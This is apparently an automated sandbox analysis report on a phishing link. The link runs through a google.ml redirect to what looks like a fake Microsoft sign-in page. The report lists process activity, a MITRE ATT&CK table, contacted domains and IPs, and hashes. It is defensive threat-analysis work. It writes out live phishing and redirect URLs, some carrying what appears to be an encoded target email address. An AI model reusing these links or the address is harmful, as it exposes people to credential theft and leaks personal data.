Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62151
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62149

Source: unknown	HTTPS traffic detected: 2.23.209.183:443 -> 192.168.2.17:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:60546 version: TLS 1.2

Source: classification engine

Classification label: mal52.phis.win@24/67@28/10

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1704,i,12455793612824541340,17080539977418563069,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1704,i,12455793612824541340,17080539977418563069,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	IP	Active	Malicious	Reputation
butter1.mnrov.eg-mart.com	78.138.9.37	true	false	unknown
iestpcanipaco.edu.pe	95.217.117.210	true	false	unknown
www.google.ml	142.250.186.67	true	false	high
stoneinstallations.net.au	163.47.73.97	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.100	true	false	high
butter.mnrov.eg-mart.com	78.138.9.37	true	false	high
butter2.mnrov.eg-mart.com	78.138.9.37	true	false	unknown
autologon.microsoftazuread-sso.com	20.190.159.68	true	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
aadcdn.msftauthimages.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t	false	high
https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js	false	high
https://butter2.mnrov.eg-mart.com/Me.htm?v=3	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg	false	high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	false	high
https://aadcdn.msftauthimages.net/c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/illustration?ts=638633096749532030	false	high
https://iestpcanipaco.edu.pe/.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	false	high
https://aadcdn.msftauthimages.net/c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/bannerlogo?ts=638633076084388030	false	high
https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	false	unknown
https://autologon.microsoftazuread-sso.com/jato.com/winauth/ssoprobe?client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&_=1731598791354	false	high
https://butter1.mnrov.eg-mart.com/login	false	unknown
https://butter.mnrov.eg-mart.com/?c6tmIieee3BIGZZ4YWRhcnNoLm1hbGhvdHJhQGphdG8uY29thw7y8TM	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js	false	high
https://aadcdn.msftauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	false	high
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css	false	high
https://aadcdn.msftauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	false	high
https://butter.mnrov.eg-mart.com/common/GetCredentialType?mkt=en-US	false	unknown
https://butter.mnrov.eg-mart.com/favicon.ico	false	unknown
https://stoneinstallations.net.au/.li/YWRhcnNoLm1hbGhvdHJhQGphdG8uY29t	true	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	false	high
https://aadcdn.msftauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	false	high
https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_89db715e3340a2e8ecd8.js	false	high
https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js	false	high
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js	false	high
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	false	high
https://www.google.ml/amp/iestpcanipaco.edu.pe/.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t	false	high
https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js	false	high
https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	false	unknown
https://butter.mnrov.eg-mart.com/common/instrumentation/dssostatus	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://knockoutjs.com/	chromecache_205.1.dr, chromecache_178.1.dr, chromecache_182.1.dr, chromecache_187.1.dr	false	high
https://github.com/douglascrockford/JSON-js	chromecache_180.1.dr, chromecache_172.1.dr, chromecache_186.1.dr, chromecache_174.1.dr, chromecache_205.1.dr, chromecache_206.1.dr, chromecache_178.1.dr, chromecache_182.1.dr, chromecache_187.1.dr, chromecache_176.1.dr, chromecache_195.1.dr, chromecache_190.1.dr	false	high
https://login.windows-ppe.net	chromecache_181.1.dr, chromecache_170.1.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_205.1.dr, chromecache_178.1.dr, chromecache_182.1.dr, chromecache_187.1.dr	false	high
https://butter.mnrov.eg-mart.com	chromecache_181.1.dr, chromecache_170.1.dr	false	unknown
http://feross.org	chromecache_186.1.dr, chromecache_195.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.67	www.google.ml	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
95.217.117.210	iestpcanipaco.edu.pe	Germany	24940	HETZNER-ASDE	false
20.190.159.68	autologon.microsoftazuread-sso.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
78.138.9.37	butter1.mnrov.eg-mart.com	United Kingdom	8513	SKYVISIONGB	false
163.47.73.97	stoneinstallations.net.au	Australia	38719	DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555915
Start date and time:	2024-11-14 16:38:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.phis.win@24/67@28/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, sppsvc.exe, SIHClient.exe, backgroundTaskHost.exe, SgrmBroker.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.163, 216.58.206.46, 64.233.166.84, 34.104.35.123, 142.250.186.74, 192.229.221.95, 142.250.185.234, 95.101.54.225, 95.101.54.226, 142.250.185.138, 142.250.184.202, 142.250.185.202, 172.217.18.106, 142.250.186.170, 142.250.74.202, 172.217.16.202, 142.250.184.234, 142.250.186.106, 142.250.185.106, 142.250.186.42, 142.250.181.234, 172.217.18.10, 142.250.185.170, 216.58.206.42, 216.58.206.67
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, aadcdn-msft.azureedge.net, clientservices.googleapis.com, aadcdn-msft.afd.azureedge.net, aadcdn.msauth.net, a1894.dscb.akamai.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, evoke-windowsservices-tas.msedge.net, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 14 14:39:15 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.989024022437618
Encrypted:	false
SSDEEP:	48:8OPdlTG7zoHjidAKZdA1JehwiZUklqehN5y+3:8OXYA05y
MD5:	8C6CBDD8EDF364CEFBFA17A09603DD65
SHA1:	7150CF639EC2D859E920DBF6BC8BF66F24566F3C
SHA-256:	1C5CE0E5F9DD212A036BF1C68E01C0C6A7C00625D216205AB65F9C09C95AE4EE
SHA-512:	93CBB16F1E77513BB03850410C8584BD468337E617768EF695F4C98F5345885C07F9E6067A0098CD3E8823401AC7494FF155444E864E114FA4452300277DBB13
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....C:\.6......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.InY.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VnY.\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VnY.\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VnY.\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VnY.\|...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 14 14:39:15 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.006041880956424
Encrypted:	false
SSDEEP:	48:8gPdlTG7zoHjidAKZdA10eh/iZUkAQkqehk5y+2:8gXYK9Q35y
MD5:	7AA618A932A91A51D9D83072F858BDCA
SHA1:	875873E9BBB33763E574BC66DA467C985E9E75C3
SHA-256:	7152DB16BE68D13152BAA341EE5D790B3027D7D55F226B7CFB1EC68BE53398A9
SHA-512:	8534DB95C97828E92A35D1E3677F632B7F7ED044A9BDD16E30D74BD05CA025C94DB41C2B69D4B22451F8A10A573A435CE23F80418D591F721F4F5C4590ECF4DF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....`,\.6......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.InY.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VnY.\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VnY.\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VnY.\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VnY.\|...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.017734751437214
Encrypted:	false
SSDEEP:	48:8ePdlTG7zjHjidAKZdA14tIeh7sFiZUkmgqeh7sW5y+BX:8eXYvn45y
MD5:	EA0096D0B22E228726F55B42E6EC08D9
SHA1:	77A0245B8823DF44FBB8F762BC18B01E7EAB238E
SHA-256:	BC23E9BD190410D38BC7FBE18936DBFB67C54D461AB0A968FDD261AD7357E82A
SHA-512:	ACFA8E38EFCB451A2121270F93B8F9505CF6C5D04184A981B15882F2DE87801F86F45A952FD00BD6DDC967F54CEDB718053B5DFF77021EF83426C7ECB5DF1A43
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.InY.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VnY.\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VnY.\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VnY.\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 14 14:39:15 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.007063220163282
Encrypted:	false
SSDEEP:	48:8fPdlTG7zoHjidAKZdA1behDiZUkwqehA5y+R:8fXYhe5y
MD5:	3FE89811E1395A2826919CFFAE7B3470
SHA1:	8104E4B6A8AD71CB480225C568BE278B993F3945
